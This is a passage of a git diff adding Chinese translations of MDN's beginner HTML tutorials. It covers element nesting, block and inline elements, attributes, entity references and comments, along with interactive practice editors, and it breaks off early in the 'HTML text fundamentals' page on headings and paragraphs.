0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '刀枪剑戟 斧钺钩叉'; + const answer = '<em>刀枪剑戟 斧钺钩叉</em>'; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="嵌套元素">嵌套元素</h3> + +<p>你也可以把元素放到其它元素之中——这被称作嵌套。如果我们想要表明我们的小猫脾气很暴躁,可以将<strong>“爆”</strong>嵌套在{{htmlelement("strong")}} 中,意味着这个单词被着重强调:</p> + +<pre class="brush: html"><p>我的猫咪脾气<strong>爆</strong>:)</p></pre> + +<p>你需要确保元素被正确的嵌套:在上面的例子中我们先打开{{htmlelement("p")}}元素,然后才打开{{htmlelement("strong")}}元素,因此必须先将{{htmlelement("strong")}}元素关闭,然后再去关闭{{htmlelement("p")}}元素。下面的例子是错误的:</p> + +<pre class="example-bad brush: html"><p>我的猫咪脾气<strong>爆:)</p></strong></pre> + +<p>所有的元素都需要正确的打开和关闭,这样才能按你所想的方式展现。如果像上述的例子一样进行了错误的嵌套,那么浏览器会去猜测你想要表达的意思,但很有可能会得出错误的结果。所以永远不要这么做!</p> + +<h3 id="块级元素和内联元素">块级元素和内联元素</h3> + +<p>在HTML中有两种你需要知道的重要元素类别,块级元素和内联元素。</p> + +<ul> + <li>块级元素在页面中以块的形式展现 —— 相对于其前面的内容它会出现在新的一行,其后的内容也会被挤到下一行展现。块级元素通常用于展示页面上结构化的内容,例如段落、列表、导航菜单、页脚等等。一个以block形式展现的块级元素不会被嵌套进内联元素中,但可以嵌套在其它块级元素中。</li> + <li>内联元素通常出现在块级元素中并环绕文档内容的一小部分,而不是一整个段落或者一组内容。内联元素不会导致文本换行:它通常出现在一堆文字之间例如超链接元素{{htmlelement("a")}}或者强调元素{{htmlelement("em")}}和 {{htmlelement("strong")}}。</li> +</ul> + +<p>看一看下面的例子:</p> + +<pre class="brush: html"><em>第一</em><em>第二</em><em>第三</em> + +<p>第四</p><p>第五</p><p>第六</p> +</pre> + +<p>{{htmlelement("em")}} 是一个内联元素,所以就像你在下方可以看到的,第一行代码中的三个元素都没有间隙的展示在了同一行。而{{htmlelement("p")}}是一个块级元素,所以第二行代码中的每个元素分别都另起了新的一行展现,并且每个段落间都有一些间隔(这是因为默认的浏览器有着默认的展示{{htmlelement("p")}}元素的<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS styling</a>)。</p> + +<p>{{ EmbedLiveSample('块级元素和内联元素', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: HTML5重新定义了元素的类别:见 <a href="https://html.spec.whatwg.org/multipage/indices.html#element-content-categories">元素内容分类</a>(<a href="/zh-CN/docs/Web/Guide/HTML/Content_categories">译文</a>)。尽管这些新的定义更精确,但却比上述的 “块级元素” 和 “内联元素” 更难理解,因此在之后的讨论中仍使用旧的定义。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 在这篇文章中提到的“块”和“内联”,不应该与 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">the types of CSS boxes</a> 中的同名术语相混淆. 尽管他们默认是相关的,但改变CSS显示类型并不会改变元素的分类,也不会影响它可以包含和被包含于哪些元素。防止这种混淆也是HTML5摒弃这些术语的原因之一。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 你可以查阅包含了块级元素和内联元素列表的参考页面—see <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements">Block-level elements</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Inline_elements">Inline elements</a>.</p> +</div> + +<h3 id="空元素">空元素</h3> + +<p>不是所有元素都拥有开始标签,内容,结束标签。一些元素只有一个标签,通常用来在此元素所在位置插入/嵌入一些东西。例如:元素{{htmlelement("img")}}是用来在元素{{htmlelement("img")}}所在位置插入一张指定的图片。例子如下:</p> + +<pre class="brush: html"><img src="https://roy-tian.github.io/learning-area/extras/getting-started-web/beginner-html-site/images/firefox-icon.png"></pre> + +<p>显示如下:</p> + +<p>{{ EmbedLiveSample('空元素', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: 空元素(Empty elements) 有时也被叫作 <em>void elements</em>.</p> +</div> + +<h2 id="属性">属性</h2> + +<p>元素也可以拥有属性,如下:</p> + +<p><img alt='&amp;amp;lt;p class="editor-note">我的猫咪脾气爆&amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/16476/attribute.png" style="display: block; margin: 0px auto;"></p> + +<p>属性包含元素的额外信息,这些信息不会出现在实际的内容中。在上述例子中,这个class属性给元素赋了一个识别的名字(id),这个名字此后可以被用来识别此元素的样式信息和其他信息。</p> + +<p>一个属性必须包含如下内容:</p> + +<ol> + <li>一个空格,在属性和元素名称之间。(如果已经有一个或多个属性,就与前一个属性之间有一个空格。)</li> + <li>属性名称,后面跟着一个等于号。</li> + <li>一个属性值,由一对引号“ ”引起来。</li> +</ol> + +<h3 id="学习实践:为一个元素添加属性">学习实践:为一个元素添加属性</h3> + +<p>另一个例子是关于元素{{htmlelement("a")}}的——元素{{htmlelement("a")}}是锚,它使被标签包裹的内容成为一个超链接。此元素也可以添加大量的属性,其中几个如下:</p> + +<ul> + <li><code>href</code>: 这个属性声明超链接的web地址,当这个链接被点击浏览器会跳转至href声明的web地址。例如:<code>href="https://www.mozilla.org/"</code>。</li> + <li><code>title</code>: 标题<code>title</code>属性为超链接声明额外的信息,比如你将链接至的那个页面。例如:<code>title="The Mozilla homepage"</code>。当鼠标悬停在超链接上面时,这部分信息将以工具提示的形式显示。</li> + <li><code>target</code>: 目标<code>target</code>属性用于指定链接如何呈现出来。例如,<code>target="_blank"</code>将在新标签页中显示链接。如果你希望在当前标签页显示链接,忽略这个属性即可。</li> +</ul> + +<p>编辑下面的文本框中的内容,使之变成指向任一个你喜欢的web地址的链接。首先,添加<a>元素,然后为它添加href属性和title属性。你可以即时的在输出区域看到你修改的内容。你应该可以看到一个连接,当鼠标移上此链接时会显示title属性值,当点击此链接时会跳转到href指定的web地址。记住:在元素名和属性名之间以及两个属性之间要有一个空格。</p> + +<p>如果写错了,可随时按【重置】按钮重新开始,如果实在想不出来,可按【显示答案】按钮查看答案。</p> + +<div class="hidden"> +<h6 id="Playable_code2">Playable code2</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 50px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '<p>欲练葵花宝典,需引刀自宫</p>'; + const answer = '<p>欲练<a href="https://zh.wikipedia.org/zh-hans/葵花宝典" title="葵花宝典简介" target="_blank">葵花宝典</a>,需引刀自宫</p>'; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html> +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code2', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>可到 Github 在线使用这个“<a class="external external-icon" href="https://roy-tian.github.io/learning-area/extras/tools/playable-code">代码操场</a>”。</p> +</div> + +<h3 id="布尔属性">布尔属性</h3> + +<p>有时你会看到没有值的属性,它是合法的。这些属性被称为布尔属性,他们只能有跟它的属性名一样的属性值。例如{{htmlattrxref("disabled", "input")}} 属性,他们可以标记表单输入使之变为不可用(变灰色),此时用户不能向他们输入任何数据。</p> + +<pre><input type="text" disabled="disabled"></pre> + +<p>方便起见,我们完全可以将其写成以下形式(我们还提供了一个非禁止输入的表单元素供您参考,以作为对比):</p> + +<pre class="brush: html"><!-- 使用disabled属性来防止终端用户输入文本到输入框中 --> +<input type="text" disabled> + +<!-- 下面这个输入框没有disabled属性,所以用户可以向其中输入 --> +<input type="text"> +</pre> + +<p>上面两段HTML代码产生的效果如下:</p> + +<p>{{ EmbedLiveSample('布尔属性', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="省略包围属性值的引号">省略包围属性值的引号</h3> + +<p>当你浏览那些粗糙的web网站,你将会看见各种各样奇怪的标记风格,其中就有不给属性值添加引号。在某些情况下它是被允许的,但是其他情况下会破坏你的标记。例如,我们可以写一个只拥有一个href属性的链接,如下:</p> + +<pre class="example-bad brush: html"><a href=<code>https://www.mozilla.org/</code>>收藏页面</a></pre> + +<p>然而,当我们再添加一个title属性时就会出错,如下:</p> + +<pre class="example-bad brush: html"><a href=<code>https://www.mozilla.org/</code> title=The Mozilla homepage>收藏页面</a></pre> + +<p>此时浏览器会误解你的标记,它会把title属性理解为三个属性——title的属性值为"The“,另外还有两个布尔属性“<code>Mozilla</code>”和“<code>homepage</code>”。看下面的例子,它明显不是我们所期望的,并且在这个编码里面它会报错或者出现异常行为。试一试把鼠标移动到链接上,看会显示什么title属性值!</p> + +<p>{{ EmbedLiveSample('省略包围属性值的引号', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>我们建议始终添加引号——这样可以避免很多问题,并且使代码更易读。</p> + +<h3 id="单引号或者双引号?">单引号或者双引号?</h3> + +<p>在目前为止,本章内容所有的属性都是由双引号来包裹。也许在一些HTML中,你以前也见过单引号。这只是风格的问题,你可以从中选择一个你喜欢的。以下两种情况都可以:</p> + +<pre class="brush: html"><a href="http://www.example.com">示例站点链接</a> + +<a href='http://www.example.com'>示例站点链接</a></pre> + +<p>但你应该注意单引号和双引号不能在一个属性值里面混用。下面的语法是错误的:</p> + +<pre class="example-bad brush: html"><a href="http://www.example.com'>示例站点链接</a></pre> + +<p>在一个HTML中已使用一种引号,你可以在此引号中嵌套另外一种引号:</p> + +<pre class="brush: html"><a href="http://www.example.com" title="你觉得'好玩吗'?">示例站点链接</a></pre> + +<p>如果你想将引号当作文本显示在html中,你就必须使用<a href="#实体引用:_在HTML中包含特殊字符">实体引用</a>。</p> + +<h2 id="剖析HTML文档">剖析HTML文档</h2> + +<p>学习了一些HTML元素的基础知识,这些元素单独一个是没有意义的。现在我们来学习这些特定元素是怎么被结合起来,从而形成一个完整的HTML页面的:</p> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>我的测试站点</title> + </head> + <body> + <p>这是我的页面</p> + </body> +</html></pre> + +<p>分析如下:</p> + +<ol> + <li><code><!DOCTYPE html></code>: 声明文档类型. 很久以前,早期的HTML(大约1991年2月),文档类型声明类似于链接,规定了HTML页面必须遵从的良好规则,能自动检测错误和其他有用的东西。使用如下: + + <pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></pre> + 然而这种写法已经过时了,这些内容已成为历史。只需要知道 <code><!DOCTYPE html></code> 是最短有效的文档声明。</li> + <li><code><html></html></code>: <code><html></code>元素。这个元素包裹了整个完整的页面,是一个根元素。</li> + <li><code><head></head></code>: <code><head>元素</code>. 这个元素是一个容器,它包含了所有你想包含在HTML页面中但不想在HTML页面中显示的内容。这些内容包括你想在搜索结果中出现的关键字和页面描述,CSS样式,字符集声明等等。以后的章节能学到更多关于<head>元素的内容。</li> + <li><code><meta charset="utf-8"></code>: 这个元素设置文档使用utf-8字符集编码,utf-8字符集包含了人类大部分的文字。基本上他能识别你放上去的所有文本内容。毫无疑问要使用它,并且它能在以后避免很多其他问题。</li> + <li><code><title></title></code>: 设置页面标题,出现在浏览器标签上,当你标记/收藏页面时它可用来描述页面。</li> + <li><code><body></body></code>: <code><body></code>元素。 包含了你访问页面时所有显示在页面上的内容,文本,图片,音频,游戏等等。</li> +</ol> + +<h3 id="学习实践:为HTML文档添加一些特征">学习实践:为HTML文档添加一些特征</h3> + +<p>如果你想在你的本地练习写一些HTML页面,你可以这样做:</p> + +<ol> + <li>复制上面的HTML页面例子。</li> + <li>在编辑器创建一个新文件。</li> + <li>粘贴代码到这个文件。</li> + <li>保存为<code>index.html</code>.</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>可在 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">学习区代码仓库</a> 上查看该示例。</p> +</div> + +<p>你可以打开浏览器看看这段代码的效果是什么样的,然后改变代码刷新浏览器看看新的结果。最开始的代码是这样的效果:</p> + +<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">所以在这段练习中, 你可以用你的电脑在本地编写运行代码,如上所述, 你也可以在下面的简单可编辑窗口编辑它 (此时这个简单的可编辑窗口仅显示<body>标签内的内容.) 我们希望你能够实践以下步骤:</p> + +<ul> + <li>就在{{htmlelement("body")}} 元素开始标签下方,为这个文档添加一个主标题。这个主标题应该被包含在<code><h1></code>开始标签和<code></h1></code>结束标签之间。</li> + <li>编辑这个段落以包含一些你感兴趣的文本。</li> + <li>把字词包含在开始标记<code><strong></code>和结束标记<code></strong></code>之间可以使他们以粗体显示,从而突出任何重要的字词。</li> + <li>在你的文档中添加一个超文本链接,<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started#%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%EF%BC%9A%E4%B8%BA%E4%B8%80%E4%B8%AA%E5%85%83%E7%B4%A0%E6%B7%BB%E5%8A%A0%E5%B1%9E%E6%80%A7">如前所述</a>。</li> + <li>在段落下方向你的文档添加一张图片,<a href="https://developer.mozilla.org/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started#%E7%A9%BA%E5%85%83%E7%B4%A0">如前所述</a>。如果你尝试对不同的图片(在你的本地电脑或是在Web的其他位置上)添加链接,那你就更棒了。</li> +</ul> + +<p>如果写错了,可随时按【重置】按钮重新开始,如果实在想不出来,可按【显示答案】按钮查看答案。</p> + +<div class="hidden"> +<h6 id="Playable_code3">Playable code3</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 50px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '<p>相思无用,惟别而已。别期若有定,千般煎熬又何如?莫道黯然销魂,何处柳暗花明?</p>'; + const answer = +`<h1>经典回忆</h1> +<p> + 相思无用,惟别而已。别期若有定,千般煎熬又何如?莫道黯然销魂,何处<strong>柳暗花明</strong>?<br> + ——《<a href="https://zh.wikipedia.org/zh-hans/神鵰俠侶">神雕侠侣</a>》 +</p> +<img src="https://roy-tian.github.io/learning-area/extras/tools/playable-code/images/sdxl.jfif">`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html> + +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code3', 700, 600,"", "", "hide-codepen-jsfiddle")}}</p> + +<h3 id="HTML中的空白">HTML中的空白</h3> + +<p>在上面的例子中,你可能已经注意到了在代码中包含了很多的空格——这是没有必要的;下面的两个代码片段是等价的:</p> + +<pre class="brush: html"><p>狗 狗 很 呆 萌。</p> + +<p>狗 狗 很 + 呆 萌。</p></pre> + +<p>无论你在HTML元素的内容中使用多少空格(包括空白字符,包括换行),当渲染这些代码的时候,HTML解释器会将连续出现的空白字符减少为一个单独的空格符。</p> + +<p>那么为什么我们会在HTML元素的嵌套中使用那么多的空白呢? 答案就是为了可读性 —— 如果你的代码被很好地进行格式化,那么就很容易理解你的代码是怎么回事,反之就只有聚做一团的混乱.。在我们的HTML代码中,我们让每一个嵌套的元素以两个空格缩进。 你使用什么风格来格式化你的代码取决于你 (比如所对于每层缩进使用多少个空格),但是你应该坚持使用某种风格。</p> + +<h2 id="实体引用:_在HTML中包含特殊字符">实体引用: 在HTML中包含特殊字符</h2> + +<p>在HTML中,字符 <code><</code>, <code>></code>,<code>"</code>,<code>'</code> 和 <code>&</code> 是特殊字符. 它们是HTML语法自身的一部分, 那么你如何将这些字符包含进你的文本中呢, 比如说如果你真的想要在文本中使用符号&或者小于号, 而不想让它们被浏览器视为代码并被解释?</p> + +<p>我们必须使用字符引用 —— 表示字符的特殊编码, 它们可以在那些情况下使用. 每个字符引用以符号&开始, 以分号(;)结束.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">原义字符</th> + <th scope="col">等价字符引用</th> + </tr> + </thead> + <tbody> + <tr> + <td><</td> + <td>&lt;</td> + </tr> + <tr> + <td>></td> + <td>&gt;</td> + </tr> + <tr> + <td>"</td> + <td>&quot;</td> + </tr> + <tr> + <td>'</td> + <td>&apos;</td> + </tr> + <tr> + <td>&</td> + <td>&amp;</td> + </tr> + </tbody> +</table> + +<p>在下面的例子中你可以看到两个段落,它们在谈论web技术:</p> + +<pre class="brush: html"><p>HTML 中用 <p> 来定义段落元素。</p> + +<p>HTML 中用 &lt;p&gt; 来定义段落元素</p></pre> + +<p>在下面的实时输出中,你会看到第一段是错误的,因为浏览器会认为第二个<p>是开始一个新的段落! 第二段是正确的,因为我们用字符引用来代替了角括号('<'和'>'符号).</p> + +<p>{{ EmbedLiveSample('实体引用:_在HTML中包含特殊字符', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>提示</strong>: 维基百科上有一个包含所有可用HTML字符实体引用的列表:<a href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references">XML和HTML字符实体引用列表</a>。</p> +</div> + +<h2 id="HTML注释">HTML注释</h2> + +<p>如同大部分的编程语言一样,在HTML中有一种可用的机制来在代码中书写注释 —— 注释是被浏览器忽略的,而且是对用户不可见的,它们的目的是允许你描述你的代码是如何工作的和不同部分的代码做了什么等等。 如果你在半年后重新返回你的代码库,而且不能记起你所做的事情 —— 或者当你处理别人的代码的时候, 那么注释是很有用的.</p> + +<p>为了将一段HTML中的内容置为注释,你需要将其用特殊的记号<!--和-->包括起来, 比如:</p> + +<pre class="brush: html"><p>我在注释外!</p> + +<!-- <p>我在注释内!</p> --></pre> + +<p>正如你下面所见的那样,第一段出现在了实时输出中,但是第二段却没有。</p> + +<p>{{ EmbedLiveSample('HTML注释', 700, 100,"", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="总结">总结</h2> + +<p>你已经来到了这篇文章的结尾 —— 希望你享受你的基础的HTML学习的旅程。 在这里你应该可以理解HTML语言的全貌, 它在基础的级别是如何工作,而且可以使用一些元素和属性。 在这个模块的后续文章中,我们会深入一些你已经见过的东西的细节,并且介绍一些新的HTML的特性。未完待续!</p> + +<div class="note"> +<p><strong>提示</strong>: 现在,你将开始学习更多关于HTML的知识,你可能也想了解一些层叠样式列表(<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS">CSS</a>)的基础知识。CSS是一种用来设计网页样式的语言(比如,用它改变字体、颜色或页面布局等)。你很快就会发现,HTML和CSS能很好地协调配合。</p> +</div> + +<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/zh-cn/learn/html/introduction_to_html/html_text_fundamentals/index.html new file mode 100644 index 0000000000..39547cae31 --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -0,0 +1,915 @@ +--- +title: HTML 文字处理基础 +slug: learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +tags: + - HTML指南 + - 学习 +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML的主要工作是编辑文本结构和文本内容(也称为语义{{glossary("semantics")}}),以便浏览器能正确的显示。 本文介绍了 {{glossary("HTML")}}的使用方法:在一段文本中添加标题和段落,强调语句,创建列表等等。</p> + +<table class="learn-box standard-table" style="height: 161px; width: 663px;"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>阅读 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a>,了解基本的 HTML 知识。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>学习如何用标记(段落、标题、列表、强调、引用)来建立基础文本页面的文本结构和文本内容。</td> + </tr> + </tbody> +</table> + +<h2 id="基础_标题和段落">基础: 标题和段落</h2> + +<p>大部分的文本结构由标题和段落组成。 不管是小说、报刊、教科书还是杂志等。</p> + +<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/16552/peoples.jpg" style="display: block; height: 493px; margin: 0px auto; width: 622px;" title="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs."></p> + +<p>内容结构化会使读者的阅读体验更轻松,更愉快。</p> + +<p>在HTML中,每个段落是通过 {{htmlelement("p")}} 元素标签进行定义的, 比如下面这样:</p> + +<pre class="brush: html notranslate"><p>我是一个段落,千真万确。</p></pre> + +<p>每个标题(Heading)是通过“标题标签”进行定义的:</p> + +<pre class="brush: html notranslate"><h1>我是文章的标题</h1></pre> + +<p>这里有六个标题元素标签 —— <code><h1></code>、<code><h2></code>、<code><h3></code>、<code><h4></code>、<code><h5></code>、<code><h6></code>。每个元素代表文档中不同级别的内容; <code><h1></code> 表示主标题(the main heading),<code><h2></code> 表示二级子标题(subheadings),<code><h3></code> 表示三级子标题(sub-subheadings),等等。</p> + +<h3 id="编辑结构层次">编辑结构层次</h3> + +<p>这里举一个例子。在一个故事中,<h1>表示故事的名字,<h2>表示每个章节的标题, <h3>表示每个章节下的子标题,以此类推。</p> + +<pre class="brush: html notranslate"><h1>三国演义</h1> + +<p>罗贯中</p> + +<h2>第一回 宴桃园豪杰三结义 斩黄巾英雄首立功</h2> + +<p>话说天下大势,分久必合,合久必分。周末七国分争,并入于秦。及秦灭之后,楚、汉分争,又并入于汉……</p> + +<h2>第二回 张翼德怒鞭督邮 何国舅谋诛宦竖</h2> + +<p>且说董卓字仲颖,陇西临洮人也,官拜河东太守,自来骄傲。当日怠慢了玄德,张飞性发,便欲杀之……</p> + +<h3>却说张飞</h3> + +<p>却说张飞饮了数杯闷酒,乘马从馆驿前过,见五六十个老人,皆在门前痛哭。飞问其故,众老人答曰:“督邮逼勒县吏,欲害刘公;我等皆来苦告,不得放入,反遭把门人赶打!”……</p></pre> + +<p>所涉及的元素具体代表什么,完全取决于作者编辑的内容,只要层次结构是合理的。在创建此类结构时,您只需要记住一些最佳实践:</p> + +<ul> + <li>您应该最好只对每个页面使用一次<h1> — 这是顶级标题,所有其他标题位于层次结构中的下方。</li> + <li>请确保在层次结构中以正确的顺序使用标题。不要使用<h3>来表示副标题,后面跟<h2>来表示副副标题 - 这是没有意义的,会导致奇怪的结果。</li> + 